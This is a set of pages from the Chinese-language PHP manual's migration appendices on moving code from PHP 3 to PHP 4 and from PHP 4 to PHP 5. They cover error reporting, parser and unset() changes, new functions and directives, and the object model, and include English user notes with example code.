The changes to empty() also affect isset() in a similar way.

Under php3:
$foo=""; isset($foo) returned false..
but under php4 it returns true, because the variable is defined.

I discovered this when converting other people's code to php4. They used isset() unnecessarily - with the implicit expectation it just tested the value of the variable as being non-null. Although I don't agree with sloppy coding, it can give an unexpected shock when run under php4 and so any uses of isset() should be searched for before you attempt to migrate.
add a note add a note

后退 | 起点 | 前进
初始化 | 上一级 | 缺少的函数


错误报告

配置的改变

PHP 3 错误报告的级别是简单的将不同的错误报告级别的数字相加而成。通常 15 代表报告所有错误，而 7 代表报告除了 notice 信息以外的所有错误。

PHP 4 有一整套错误和警告的级别，并且配置解析器允许使用符号常量来定义显示的错误级别。

错误报告级别应该被明确的配置。如果不想显示某种错误信息，需要将他们从 E_ALL 符号常量中排除。听起来很复杂吗？让我们看看吧。如果想显示除了以 E_NOTICE 表示的 notice 信息以外的所有错误信息，就应该在 php.ini 中设置：error_reporting = E_ALL & ~ ( E_NOTICE ) 。如果还不想显示 warning 信息，只需要使用“|”运算符：error_reporting= E_ALL & ~ ( E_NOTICE | E_WARNING )。

警告

当把代码从 PHP 3 升级到 PHP 4 时，需要检查这些设置，并调用 error_reporting() 函数，否则可能会屏蔽一些新的错误报告类型，特别是 E_COMPILE_ERROR。这可能将导致没有任何反馈信息的空白页，使得用户不知道发生了什么，也不知道问题所在。

警告

使用旧有的从 7 到 15 的数字来设置错误报告的级别不是个好主意，因为这屏蔽了 PHP 4 中新的错误类产生的错误信息。这可能导致非常奇怪的现象：脚本不能执行却没有任何错误提示。

这在过去已经导致了许多重复的 bug 报告。人们报告新的脚本引擎不能跟踪脚本文件中经常发生的缺少“}”的错误。事实上，这是由不正确的配置引起的。

所以，检查错误报告的设置是在脚本无法运行而没有出现错误提示时应做的第一件事。Zend engine 到现在已经很成熟了，一般不会出现如此奇怪的现象。

额外的警告信息

许多已存在的 PHP 3 代码使用的语言样式在现在应当被看做是非常糟糕的。因此，如果用 PHP 4 编译该脚本，会产生很多额外的警告信息。如果不想看到这些信息，只要简单的把 E_NOTICE 选项关闭。但更好的做法是修正代码。

最常见的出现 notice 提示信息的情况是在数组索引中使用没有加引号的字符串。PHP 3 和 PHP 4 在没有同名的常量定义时都会把它解释为字符串，但是无论何时只要有常量是以该字符串命名，脚本就可能会出现错误。如果有黑客利用这一点，设法重定义该常量，这个脚本就存在安全漏洞。所以只要出现未加引号的索引，PHP 4 就会警告对它加以修正。举例来说，有漏洞的代码 $_SERVER[REQUEST_METHOD]，只要将它改为 $_SERVER['REQUEST_METHOD']，错误提示就会消失。

PHP 4 还会对未初始化的变量或数组元素加以提示。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
解析器行为 | 上一级 | 初始化


PHP 3 扩展

为 PHP 3 写的扩展在 PHP 4 中不再工作，二进制或源代码都不行。但如果有扩展的原始代码，将它转换为 PHP 4 的扩展很容易。这已经不在本文所讨论的范围中了。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
缺少的函数 | 上一级 | 字符串中的变量替换


初始化

PHP 4 中静态变量和类成员仅接受标量值，而 PHP 3 中接受任何有效的表达式。这是由于解析和执行的分离，导致只有在解析器看到初始化代码后才能执行。

应该使用构造函数来初始化类。对静态变量，只有静态的值才有意义。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
错误报告 | 上一级 | empty("0")


缺少的函数

虽然 PHP 4 带来了许多新功能、函数和扩展，但是会发现一些原本在 PHP 3 中存在的函数不见了。少量的内核函数被取消，因为它们不符合 Zend engine 新的解析――执行的模式。另外一些函数甚至是扩展完全的被荒废，是因为新的函数可以更好的完成旧函数的功能。一些函数只是空函数，而另一些因为版权冲突而取消了。

由于概念的改变而取消的函数

PHP 4 现在将解析从执行中分离，因此不可能在运行时间改变解析器（现在已经嵌入 Zend engine）的行为，此时已经解析完毕了。所以函数 short_tags() 不再存在。仍然可以对 php.ini 文件设置适当的值以改变编译器的行为。

另一个 PHP 3 的功能在 PHP 4 中不复存在：内部捆绑的 debug 接口。现在有第三方 Zend engine 的 add-ons 有着类似的功能。

不推荐使用的函数和扩展

Adabas 和 Solid 数据库扩展不再推荐使用。最好使用统一的 ODBC 扩展代替。

unset() 的改变

unset()，虽然仍然可以使用，但是它成为了语言结构的一部分，而不是一个函数。

这对 unset() 的行为不会产生什么影响，但是使用 function_exists() 函数测试“unset”时会返回 FALSE。它已经是 PHP 语言的一部分，虽然它很像函数。这和 echo() 是一样的。

另一个实际的改变是，不能间接调用 unset()。因此 $func="unset"; $func($somevar) 不再工作。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
empty("0") | 上一级 | PHP 3 扩展


解析器行为

解析和执行现在变为两个完全独立的步骤。只有当完全成功的解析后，程序才会执行。

这种改变所带来的一个新的要求是一个脚本文件所包含的另一个文件必须有着完整的语法结构。不能将一个完整的控制结构分散在不同的文件中。这意味着不能在一个文件中开始一个 for 或 while 循环、一个 if 或 switch 块，而在另一个文件中结束它们，或在另一个文件中使用 else、endif、case 或 break。

但是在循环或其它控制结构中包含额外的脚本文件是允许的。只要控制的关键词和相应的 {...} 在同一个单元（文件或使用函数 eval() 结合的字符串）中就可以了。

不过，在循环或其它控制结构中包含额外的脚本文件并不是一个好的编程习惯。

另外，一种在 PHP 3 中不常见的代码――从一个 require 的文件中返回值――在 PHP 4 中也不能使用。而从一个 include 文件中返回值还是允许的。

add a note add a note User Contributed Notes
alan at frostick dot de
03-Dec-2001 02:31
Although I reported this in the early days of php4 release as a migration problem, it has yet to appear in the manual. So add this note to clarify things for newcomers to php4 conversions.

An apparent parser change occurred between php3 and php4 to the function unset(). There are now lots of maybe confusing comments about this in the manual under this functions page which you should read.

To clarify an important difference which I spotted, the behaviour of unset() when used within a function on static or global variables gives quite different effects. In php3 the values of such variables were simply reset whereas now the variable is completely removed and any subsequent reference to the same variable name results in a completely new variable being defined - ie. a local function variable is created.

Some misunderstandings about the original php3 function are obvious amongst non-php authors. Quite possibly the present php4 interpretation is what was originally intended in php3, but since it was not implemented in this way can give rise to shocks when the same scripts are run under php4.

e.g.
function foo()
{
  global $bar;
// at this point $bar is global
  $bar="assign this string";
     unset($bar);
// at this point $bar is local
  $bar="overwrite string";
// so this assignment does not affect the global}

foo(); echo $bar;

Under php3 you would get "overwrite string", but under php4 "assign this string".

A similar difference occurs using unset to wipe out an array. The variable is no longer an array, and the memory used by the array is not released for re-use. You are advised to replace any uses of:
 unset($arr);
by instead
 $arr=array();
add a note add a note

后退 | 起点 | 前进
移植配置文件 | 上一级 | 错误报告


同时运行 PHP 3 和 PHP 4

最新的操作系统提供了执行多版本和范围程序的能力。这个功能使得在一个 Apache 服务器上同时运行 PHP 3 和 PHP 4 成为可能。

已知该功能可以运行在如下平台：

  • 包含新版本 binutils 的 Linux（binutils 2.9.1.0.25 测试通过）

  • Solaris 2.5 或更高版本

  • FreeBSD（3.2，4.0 测试通过）

要启用该功能，需要配置(configure) PHP 3 和 PHP 4 的 APXS（使用 --with-apxs 参数）以及所需的链接扩展（使用 --enable-versioning 参数）。其余的和标准安装方法一样。例如：

$ ./configure \
  --with-apxs=/apache/bin/apxs \
  --enable-versioning \
  --with-mysql \
  --enable-track-vars

add a note add a note User Contributed Notes
08-Aug-2003 10:43
you can also install many different versions on a windows os by using jana-server 2. it works great.
add a note add a note

后退 | 起点 | 前进
从 PHP 3 移植到 PHP 4 | 上一级 | 移植配置文件


字符串中的变量替换

PHP 4 添加了一个新的机制以替换字符串中的变量。现在可以访问字符串中的对象成员变量和多维数组元素。

如果想这么做，需要使用大括号将一个美元符号和变量名括起来，就像这样：{$...}。

要在字符串中嵌入对象成员变量，只要简单的写 "text {$obj->member} text"。而在 PHP 3 中，要使用 "text ".$obj->member." text"。

这个改进可以使代码更易读，但这可能会破坏用 PHP 3 写的代码。但是很容易修正它：在代码中查找字符串中的 {$，使用搜索替换工具将它替换为 \{$。

add a note add a note User Contributed Notes
K.Tomono
15-Apr-2003 09:54
>But you can easily check for this kind of problem by
> checking for the character combination {$ in your code
> and by replacing it with \{$ with your favorite
> search-and-replace tool.

A code which was written below may exist.

  if("aaa"){$foo="bar";}

I've done like the following for the `easy checking`.  (on Linux - tcsh)

  egrep '".*\{\$.+\}.*"' *.php

also using Regexp Search of a Windows Editor (Emacs compatible.)

Search Word  : ".*{\$.+}.*"

I'm not so good at treating Regexp. so there may be a lack of
code pattern.
add a note add a note

后退 | 起点 | 前进
PHP 3 扩展 | 上一级 | Cookies


处理全局变量

在 PHP 3 和 PHP 4 早些版本中处理全局变量的重心放在了易用上，而现在，焦点放到了如何更安全的处理它们上。在 PHP 3 中下面的代码工作正常，但是 PHP 4 中就要使用 unset($GLOBALS["id"]);。这仅仅是全局变量处理的一个问题。应当总是使用 $GLOBALS，在更新版本的 PHP 4 中应该强迫自己在大部分情况中使用它。更多信息请参考 global 引用一节。

例子 C-1. 全局变量的移植

<?php
$id = 1;
function test()
{
    global $id;
    unset($id);
}
test();
echo($id); // 在 PHP 4 中这里会打印出 1
?>

add a note add a note User Contributed Notes
MattyC
27-Apr-2003 03:16
Payson Welch is correct

I have a language file that is included from a common include file. I have to declare the globals before the include file and then AGAIN in the funtion!!!!

// include language file
global $lDays, $lDay, $lWeeks, $lWeek;
include "/usr/www/users/foundry/Templates/language/$site_language.inc";

  function format_length($nDays){

       global $lDays, $lDay, $lWeeks, $lWeek;

       if($nDays > 0 && $nDays < 7):
           if($nDays == 1):
               $sDays = "$nDays $lDay";
           else:
               $sDays = "$nDays $lDays";
           endif;
       elseif($nDays >= 7):
           $w = ceil($nDays / 7);
           if($w == 1):
               $sDays = number_format($w,0) ." $lWeek";
           else:
               $sDays= number_format($w,0) ." $lWeeks";
           endif;
       endif;

       return $sDays;
  }
Ming Deng AT OEone
26-Mar-2003 06:49
Response to Payson Welch's notes:

This should not be a big concern, as long as your variables are used in  classes or functions in that included file. PHP is a scriptable language, when you include a php file, that mean you run it. But if contents of the included file are classes or functions, they just get defined.
Payson Welch
05-Jan-2003 08:16
Just a quick note on passing and including.

If you have a top level script with several levels of includes you must declare any global variables that you want the included files to be able to see BEFORE your include statements.

global $var;
$var = 5;
include("file.php");

If you try to change the variable AFTER you have included the file it appears the changes will not be reflecated inside of the included file.
(I could be wrong I don't have the most current version of PHP)

-two|face
zulu_gold@hotmail.com
brooke at jump dot net
24-Dec-2002 04:09
Better (and likely more correct) way to look at it is this:

In php3, the global statement caused named variables to become aliases. In php4, the global statement constructs references. In php3, there are no references. In php4, references are what get unset, not the pointed-to values. The same change affects function parameters passed by reference. In php3, you got aliases. In php4, you get references. If you unset a reference, then you've lost only the reference. The original variable remains.

function foo(&$bar) {
     unset($bar);
     $bar = 27;
}

$x = 5;
foo($x);

assert($x == 5);
jcjollant at hotmail dot com
01-Nov-2002 11:22
Just to clarify something that confused me at first :
global $var; does not declare $var as global, it should be read as "there is a global variable that's called $var"
Hence, a global variable must be explicitely declared as "global" in ALL functions willing to use it.

I guess I was expecting the opposite for some reasons.
add a note add a note

后退 | 起点 | 前进
Cookies | 上一级 | 从 PHP/FI 2 移植到 PHP 3


从 PHP 4 移植到 PHP 5

PHP 手册
后退 前进

附录 B. 从 PHP 4 移植到 PHP 5

目录
PHP 5 中有哪些改变
向后不兼容的改变
CLI 和 CGI
移植配置文件
新函数
新指令
数据库
新对象模型
错误报告

PHP 5 中有哪些改变

PHP 5 和集成的 Zend Engine 2 代极大提高了 PHP 的性能和能力，而且投入极大努力尽可能避免破坏已有的代码的使用。因此将代码从 PHP 4 移植到 PHP 5 应该很容易。大多数已有的 PHP 4 代码应该不用改就能运行，但还是应该注意到几点区别并在实际运作环境下转换到新版本之前多做测试。

add a note add a note User Contributed Notes
philip
11-May-2004 02:31
For a list of PHP 5 releated resources, read this faqt:
http://www.faqts.com/knowledge_base/view.phtml/aid/22154/fid/1150
add a note add a note

后退 | 起点 | 前进
PHP 相关文章 | 上一级 | 向后不兼容的改变


CLI 和 CGI

PHP 5 中对 CLI 和 CGI 文件名作了些改变。PHP 5 中，CGI 版本被改名为 php-cgi.exe（以前是 php.exe），现在主目录中的是 CLI 版本（之前是 cli/php.exe）。

PHP 5 中引进了一种新模式：php-win.exe。这和 CLI 版本相同，只除了 php-win 不输出任何内容，因此不会提供控制台（屏幕上不会闪过“dos 窗口”）。此行为类似 php-gtk。

PHP 5 中，CLI 版本总会产生全局变量 $argv 和 $argc 而不管 php.ini 是怎么设的。即使将 register_argc_argv 设为 off 也不影响 CLI。

参见命令行模式。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
向后不兼容的改变 | 上一级 | 移植配置文件


移植配置文件

由于 ISAPI 模块的名字改了，从 php4xxx 改为 php5xxx，因此需要对配置文件作些修改。CLI 和 CGI 文件名也改了。更多信息请查看相应章节。

移植 Apache 配置极其简单。照下面的例子来检查需要做的修改：

例子 B-4. 移植 Apache 配置文件到 PHP 5

# 将下面这行：
LoadModule php4_module /php/sapi/php4apache2.dll

# 改成这一行：
LoadModule php5_module /php/php5apache2.dll

如果 web 服务器是以 CGI 模式运行 PHP 的，应该注意 CGI 版本的名字从 php.exe 改为了 php-cgi.exe。在 Apache 中，应该照这样改：

例子 B-5. 移植 Apache 配置文件到 PHP 5，CGI 模式

# 将下面这行：
Action application/x-httpd-php "/php/php.exe"

# 改成这一行：
Action application/x-httpd-php "/php/php-cgi.exe"

其它的 web 服务器中，需要修改 CGI 或者 ISAPI 模块的名字。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
CLI 和 CGI | 上一级 | 新函数


数据库

关于数据库（MySQL 和 SQLite）在 PHP 5 中有些改变。

PHP 5 中不再绑定 MySQL 客户端连接库，因为授权和一些其它问题。更多信息见 FAQ。

有个新扩展库 MySQLi（改良版 MySQL），设计用来工作于 MySQL 4.1 及更高版本之下。

自 PHP 5 起，SQLite 扩展库内置在 PHP 中。SQLite 是一个可嵌入 SQL 数据库引擎，不是客户端连接库用来连接大型数据库服务器（如 MySQL 或 PostgreSQL）的。SQLite 库直接读写磁盘上的数据库文件。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
新指令 | 上一级 | 新对象模型


新函数

PHP 5 有了些新函数。下面是列表：

Arrays:

  • array_combine() - 用一个数组作为键名，另一个数组作为值创建一个新数组

  • array_diff_uassoc() - 计算数组的差别，并用用户提供的回调函数作附加的索引检查

  • array_udiff() - 用回调函数比较数据来计算数组的差别

  • array_udiff_assoc() - 计算数组的差别并作附加的索引检查。用回调函数来比较数据

  • array_udiff_uassoc() - 计算数组的差别并作附加的索引检查。数据的比较和索引检查都用回调函数来完成

  • array_walk_recursive() - 对数组的每个成员递归使用用户函数

  • array_uintersect_assoc() - 计算数组的交集并作附加的索引检查。用回调函数来比较数据

  • array_uintersect_uassoc() - 计算数组的交集并作附加的索引检查。数据和索引都用回调函数来比较

  • array_uintersect() - 计算数组的交集。用回调函数来比较数据

InterBase:

  • ibase_affected_rows() - 返回前一个查询影响到的行的数目

  • ibase_backup() - 在服务管理器中发起一个后台任务并立即返回

  • ibase_commit_ret() - 提交一个事务但不关闭

  • ibase_db_info() - 请求有关数据库的统计信息

  • ibase_drop_db() - 删除一个数据库

  • ibase_errcode() - 返回一个错误代码

  • ibase_free_event_handler() - 取消一个已注册的事件句柄

  • ibase_gen_id() - 递增指定的发生器并返回其新值

  • ibase_maintain_db() - 在数据库服务器上执行一条维护命令

  • ibase_name_result() - 给结果集指定一个名字

  • ibase_num_params() - 返回一个准备好的查询的参数数目

  • ibase_param_info() - 返回一个准备好的查询的参数信息

  • ibase_restore() - 在服务管理器中发起一个还原任务并立即返回

  • ibase_rollback_ret() - 回卷一笔事务并保留事务上下文

  • ibase_server_info() - 请求有关数据库服务器的统计信息

  • ibase_service_attach() - 连接到服务管理器

  • ibase_service_detach() - 从服务管理器断开

  • ibase_set_event_handler() - 注册一个当事件发布时要调用的回调函数

  • ibase_wait_event() - 等待数据库发布一条事件

iconv:

  • iconv_mime_decode() - 解码 MIME 头信息字段

  • iconv_mime_decode_headers() - 一次解码多个 MIME 头信息字段

  • iconv_mime_encode() - 压缩 MIME 头信息字段

  • iconv_strlen() - 返回字符串中的字符计数

  • iconv_strpos() - 在堆栈中找到第一个出现的子串位置

  • iconv_strrpos() - 在堆栈中指定的范围内找到最后一个出现的子串位置

  • iconv_substr() - 从字符串中取出一部分

Streams:

  • stream_copy_to_stream() - Copies data from one stream to another

  • stream_get_line() - Gets line from stream resource up to a given delimiter

  • stream_socket_accept() - Accept a connection on a socket created by stream_socket_server()

  • stream_socket_client() - Open Internet or Unix domain socket connection

  • stream_socket_get_name() - Retrieve the name of the local or remote sockets

  • stream_socket_recvfrom() - Receives data from a socket, connected or not

  • stream_socket_sendto() - Sends a message to a socket, whether it is connected or not

  • stream_socket_server() - Create an Internet or Unix domain server socket

Date and time related:

  • idate() - Format a local time/date as integer

  • date_sunset() - Time of sunset for a given day and location

  • date_sunrise() - Time of sunrise for a given day and location

  • time_nanosleep() - Delay for a number of seconds and nano seconds

Strings:

  • str_split() - Convert a string to an array

  • strpbrk() - Search a string for any of a set of characters

  • substr_compare() - Binary safe optionally case insensitive comparison of two strings from an offset, up to length characters

Other:

  • convert_uudecode() - decode a uuencoded string

  • convert_uuencode() - uuencode a string

  • curl_copy_handle() - Copy a cURL handle along with all of it's preferences

  • dba_key_split() - Splits a key in string representation into array representation

  • dbase_get_header_info() - Get the header info of a dBase database

  • dbx_fetch_row() - Fetches rows from a query-result that had the DBX_RESULT_UNBUFFERED flag set

  • fbsql_set_password() - Change the password for a given user

  • file_put_contents() - Write a string to a file

  • ftp_alloc() - Allocates space for a file to be uploaded

  • get_declared_interfaces() - Returns an array of all declared interfaces

  • get_headers() - Fetches all the headers sent by the server in response to a HTTP request

  • headers_list() - Returns a list of response headers sent (or ready to send)

  • http_build_query() - Generate URL-encoded query string

  • image_type_to_extension() - Get file extension for
image-type returned by getimagesize(),
exif_read_data(),
exif_thumbnail(),
exif_imagetype()

  • imagefilter() - Applies Filter an image using a custom angle

  • imap_getacl() - Gets the ACL for a given mailbox

  • ldap_sasl_bind() - Bind to LDAP directory using SASL

  • mb_list_encodings() - Returns an array of all supported encodings

  • pcntl_getpriority() - Get the priority of any process

  • pcntl_wait() - Waits on or returns the status of a forked child as defined by the waitpid() system call

  • pg_version() - Returns an array with client, protocol and server version (when available)

  • php_check_syntax() - Check the syntax of the specified file

  • php_strip_whitespace() - Return source with stripped comments and whitespace

  • proc_nice() - Change the priority of the current process

  • pspell_config_data_dir() - Change location of language data files

  • pspell_config_dict_dir() - Change location of the main word list

  • setrawcookie() - Send a cookie with no url encoding of the value

  • snmp_read_mib() - Reads and parses a MIB file into the active MIB tree

  • sqlite_fetch_column_types() - Return an array of column types from a particular table

注: The Tidy extension has also changed its API completely.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
移植配置文件 | 上一级 | 新指令


向后不兼容的改变

尽管大部分 PHP 4 的代码应该不用修改就能运行，还是应该留意以下向后不兼容的改变：

  • 有了一些新关键字。

  • strrpos() 和 strripos() 如今使用整个字符串作为 needle。

  • 非法使用字符串偏移量会导致 E_ERROR 而不是 E_WARNING。一个非法使用的例子：$str = 'abc'; unset($str[0]);.

  • array_merge() 被改成只接受数组。如果传递入非数组变量，对每个此类参数都会发出一条 E_WARNING 信息。要小心因为你的代码有可能疯狂发出 E_WARNING。

  • PATH_TRANSLATED 服务器变量在 Apache2 SAPI 中不再暗中设定，这和 PHP 4 中的情形相反，如果 Apache 没产生此值则其被设为和 SCRIPT_FILENAME 服务器变量一样的值。此修改是为了遵守 CGI 规范。更多信息见 bug #23610，并参考手册中 $_SERVER['PATH_TRANSLATED'] 的说明。此问题也影响到 PHP >= 4.3.2 的版本。

  • Tokenizer 扩展不再定义 T_ML_COMMENT 常量。如果把 error_reporting 设为 E_ALL，PHP 将产生一条消息。尽管 T_ML_COMMENT 从来都没用到过，还是在 PHP 4 中定义了。在 PHP 4 和 PHP 5 中 // 和 /* */ 都被解析为 T_COMMENT 常量。但是 PHPDoc 风格的注释 /** */，自 PHP 5 开始被 PHP 解析，被识别为 T_DOC_COMMENT。

  • 如果 variables_order 包括“S”，$_SERVER 应该带有 argc 和 argv 被产生。如果用户特别配制系统不创建 $_SERVER，那此变量当然就不存在了。改变的地方是不管 variables_order 怎么设定，在 CLI 版本中 argc 和 argv 总是可用的。本来 CLI 版不是总会产生全局变量 $argc 和 $argv 的。

  • 没有属性的对象不再被当成“empty”。

  • 有些情况下类必须在使用前被定义。这仅在使用了一些 PHP 5 的新特性的时候发生。其它情况下行为都没变。

  • get_class()，get_parent_class() 和 get_class_methods() 如今返回的类／方法名和定义时的名字一致（区分大小写），对于依赖以前行为（类／方法名总是返回小写的）的老脚本可能产生问题。一个可能的解决方法是在脚本中搜索所有这些函数并使用 strtolower()。

    区分大小写的改变也适用于魔术常量 __CLASS__，__METHOD__ 和 __FUNCTION__。其值都会严格按照定义时的名字返回（区分大小写）。

  • ip2long() 在传递入一个非法 IP 作为参数时返回 FALSE，不再是 -1。

  • 如果在包含文件中定义有函数，则不管在 return() 之前还是之后都可以在主文件中调用。如果文件被包含两次，PHP 5 会发出致命错误，因为函数已经被定义，而 PHP 4 不管这个。因此推荐使用 include_once() 而不要去检查文件是否已被包含以及在包含文件中有条件返回。

  • include_once() 和 require_once() 在 Windows 下先将路径规格化，因此包含 A.php 和 a.php 只会把文件包含一次。

例子 B-1. strrpos() 和 strripos() 如今用整个字符串作为 needle

<?php
var_dump(strrpos('ABCDEF','DEF')); //int(3)

var_dump(strrpos('ABCDEF','DAF')); //bool(false)
?>

例子 B-2. 没有属性的对象不再被当成“empty”

<?php
class test { }
$t = new test();

var_dump(empty($t)); // echo bool(false)

if ($t) {
    // Will be executed
}
?>

例子 B-3. 有些情况下类必须在使用之前定义

<?php

//works with no errors:
$a = new a();
class a {
}

//throws an error:
$a = new b();

interface c{
}
class b implements c {
}

?>

add a note add a note User Contributed Notes
01-Mar-2006 06:03
is_a have been deprecated. You can simply replace all occurences with the new instanceOf operator, although this will break backwards-compatibility with php4.
dward . maidencreek.com
02-Nov-2004 04:54
Another change that we've had problems with while trying to use PHP4 code in PHP5 is how $this is carried across static method calls if they are not declared static in PHP5.  The main issue was that debug_backtrace() now shows the first class with -> instead of the second with :: in the backtrace element when the method in the second class was called statically (using ::) from a method in the first class.
08-Sep-2004 12:40
Be careful with array_merge in PHP5.1 not only a E_WARNING is thrown, but also the result is an empty array. So if you merge two select queries and the last one is empty you will end up with no array at all.

$array_1 = array('key1'=>'oranges','key2'=>'apples');

       $array_2 = array('key3'=>'pears','key4'=>'tomatoes');
       $array_3 = null;
       $arr_gemerged = array_merge($array_1,$array_2,$array_3);
       echo "result:<br>";
       print_r($arr_gemerged);
       echo "<br>";

Result on php4:
result:
Array ( [key1] => oranges [key2] => apples [key3] => pears [key4] => tomatoes )

Result on php5:
Warning: array_merge() [function.array-merge]: Argument #3 is not an array in /Library/WebServer/Documents/regis24/admin/test_array_merge.php on line 7
result:
john.g
27-Aug-2004 01:45
PATH_TRANSLATED is handy when using Apache's ModRewrite engine, as it gives you the name and path of the resulting file rather than the one that was requested by the user. Since PHP 5.0 and Apache 2 no longer support this variable, I created a workaround by adding an environment variable to my ModRewrite command:

Original:
RewriteRule ^/test/(.*)\.php(.*) /test/prefix_$1.php$2

Adjusted:
RewriteRule ^/test/(.*)\.php(.*) /test/prefix_$1.php$2 [E=TARGET:prefix_$1.php]

I could then find out the resulting file name through the super global $_ENV, for instance:

<?php
echo "The actual filename is ".$_ENV['REDIRECT_TARGET'];
?>

Note: The "REDIRECT_" prefix appears to be allocated automatically by ModRewrite.
cyberhorse
06-Aug-2004 01:07
clone() is a php function now.

if you create a subclass, it no longer uses samename methods in superclass as a constructor.
Justin Gehring
21-Jul-2004 04:34
One more thing that is not backwards compatible with PHP 5.0 (at least as far as we can tell) is the XSLT Sablotron librarys and the old DOM_XML librarys. Both have replacements, but translations will need to be made with either an alias class, or in the code itself.

-Justin Gehring
jbeall /\t heraldic d0t us
15-Jul-2004 10:17
Another change that was made is the behavior when you try to reassign $this.

Before, you could reassign $this from within an object, and thus change it to a different class.  Now, this results in a parse error.
add a note add a note

后退 | 起点 | 前进
从 PHP 4 移植到 PHP 5 | 上一级 | CLI 和 CGI


新指令

PHP 5 在 php.ini 中引进了一些新指令。列表如下：

  • mail.force_extra_parameters - 强制指定的参数附加值作为额外的参数传递给 sendmail 库。这些参数总是会替换掉 mail() 的第 5 个参数，即使在安全模式下

  • register_long_arrays - 允许／禁止 PHP 注册已过时的 $HTTP_*_VARS 变量

  • session.hash_function - 选择一种散列函数（MD5 或 SHA-1）

  • session.hash_bits_per_character - 定义将二进制散列数据转换为可读格式时每个字符中储存几个位（从 4 到 6）

  • zend.ze1_compatibility_mode - 启用 Zend Engline 1 代（PHP 4）兼容模式

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
新函数 | 上一级 | 数据库


新对象模型

PHP 5 中有个新对象模型（Object Model）。PHP 处理对象的方式完全重写了，允许更佳性能和更多特性。之前版本的 PHP，对象处理方式和原始类型（例如整型和字符串）相同。此方法的缺点是当变量被赋值或作为参数传递给方法时语义上整个对象都被拷贝。在新方法中，对象通过句柄引用，而不是值（可以将句柄当成是对象的标识符）。

很多 PHP 程序员根本没意识到旧的对象模型的这种拷贝怪癖，因此大多数 PHP 应用程序拿来就能运行，或者只做很小的修改。

新对象模型的文档见语言参考。

与 PHP 4 的兼容性参见 zend.ze1_compatibility_mode。

add a note add a note User Contributed Notes
quinn at strangecode dot com
19-May-2006 11:53
Here is another possible solution for migrating code to php 5 when using $this = 'something' reassignments. In my case, I had several classes  with methods that were self-instantiating with static calls. I was able to simply use a different variable: I changed $this to $_this and it worked the same because I copied an instance of the original object by reference using an instantiation factory method:

class DB {
   function &getInstance()
   {
       static $instance = null;

       if ($instance === null) {
           $instance = new DB();
       }

       return $instance;
   }
   ...

In every method needing access to this object I assigned it to a temporary variable by reference:

   function doSomething ()
   {
       $_this =& DB::getInstance();

       $_this->doSomethingElse();
       $_this->param['id'] = 123;
   }

Which allows method calls or saving data back to the original object.

I originally created classes like this so I didn't need to keep track of instantiations or global objects. I could just call DB::doSomething() and the object is created dynamically or referenced from an already existing object.
riseofthethorax at yahooo dot com
29-Sep-2005 09:53
I actually understand the addressing modes in 4.3 and use them, it hasn't bothered me.. Like I have objects within objects, each with variables containing references (like pointers but without the pointer arithmetic).  I can obtain an object group from the database, obtain the method interface to a subobject, issue a manipulation through the child, then store the object group back into the database with the manipulation intact.. I'm not sure what effect the new changes will have on this, but if its drastic, I'm not sure I can support 5.0.

A nice little userlevel way of messing with PHP's addressing,
the use of aliases:

// I haven't coded in PHP for a while so sue me
class stuff {
   var $stuff;
   function stuffer() {
     $null = NULL;
     $s = &$this->stuff;
     $s = "some stuff";
     $s = &$null;
   }
}

This works.. You can make some assumptions about
what is going on behind the scenes, especially
what $s is before being assigned a reference to
another variable and after.. Its either two kinds of things,
a reference to a variable or a container of data, or
its a reference to a data location at all times, just that by default it gets an address to a string and at other times it can be assigned the address of objects. The "&" redirects where its pointing. At least this is how I think about it.
I use this side-effect all the time for making aliases in my objects..

Kiernan
hairmare-spam at purplehaze dot ch
10-Jun-2005 07:41
I have noted some discussion going on about the 'Cannot re-assign $this' error.

The most simple way to reproduce the error is:

class MyObject
{
       function test()
       {
               $this = new MyObject;
       }
}

I found the following quote (quoting zend.com) on php-dev:
  http://www.zend.com/php/ask_experts.php :

  "The fact that you could change in PHP 4, was never really meant to be
  although it worked. In PHP 5 we removed this option due to performance
  and semantic reasons. In PHP 5, you can either use a factory method
  pattern or throw an exception on error in the constructor."

This statement implies that the error lies not in PHP5 but in the script. A Bogus Bug in http://bugs.php.net/bug.php?id=27659 tells me the same thing.

There has been some discussion on how to migrate such code to php5 without having to reengineer the whole App. From my point of view the following solutions are viable:

1. Use delegation & Object composition:

$this->Object = new Whatever();

function nameOfFunction()
{
     return $this->Object->nameOfFunction();
}

This requires lots of code rewriting. Some of it could be realised with overloading. Variables would need to get overloaded or could only be accessed using a getter/setter. As a xtra you get clean OO Code!

2. Replace Original Objects Content:

foreach (get_object_vars($foo) as $key => $value)
  $this->$key = $value;

This solution only works with instance-variables. Additional classkit/runkit code would be needed to get everything else correct. This way less refactoring would be needed. This could be the right way to go if you don't need to replace any methods or the classname.

I haven't decided wich way to go. I wrote this so the next hacker with this problem finds some info where I was looking for it.
ivanildo at kowsoleea.de
23-May-2005 05:56
It seems that simpleXML functions like 'simplexml_load_file' do not work in ze1 compatibility mode due to some cloning 'features' I do not yet understand.
add a note add a note

后退 | 起点 | 前进
数据库 | 上一级 | 错误报告


布尔值的快速计算

PHP 3.0 中的布尔值采取了快速计算的方法。这就意味着如同 (1 || test_me()) 的表达式将不会执行函数 test_me()。因为这个表达式的值始终为 1。

这只是一个很小的兼容性问题，但是会造成一些意想不到的结果。

add a note add a note User Contributed Notes
php at cotest dot com
18-Jul-2002 02:13
"Short-circuiting" is often called "lazy evaluation," too.
add a note add a note

后退 | 起点 | 前进
错误消息已经改变 | 上一级 | 函数 TRUE/FALSE 返回值


错误消息已经改变

PHP 3.0 的错误消息通常比 2.0 的更加精确，但是不会像 2.0 那样得到错误代码的片断。会获得一个文件名和错误所在的行号。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
表达式类型 | 上一级 | 布尔值的快速计算


表达式类型

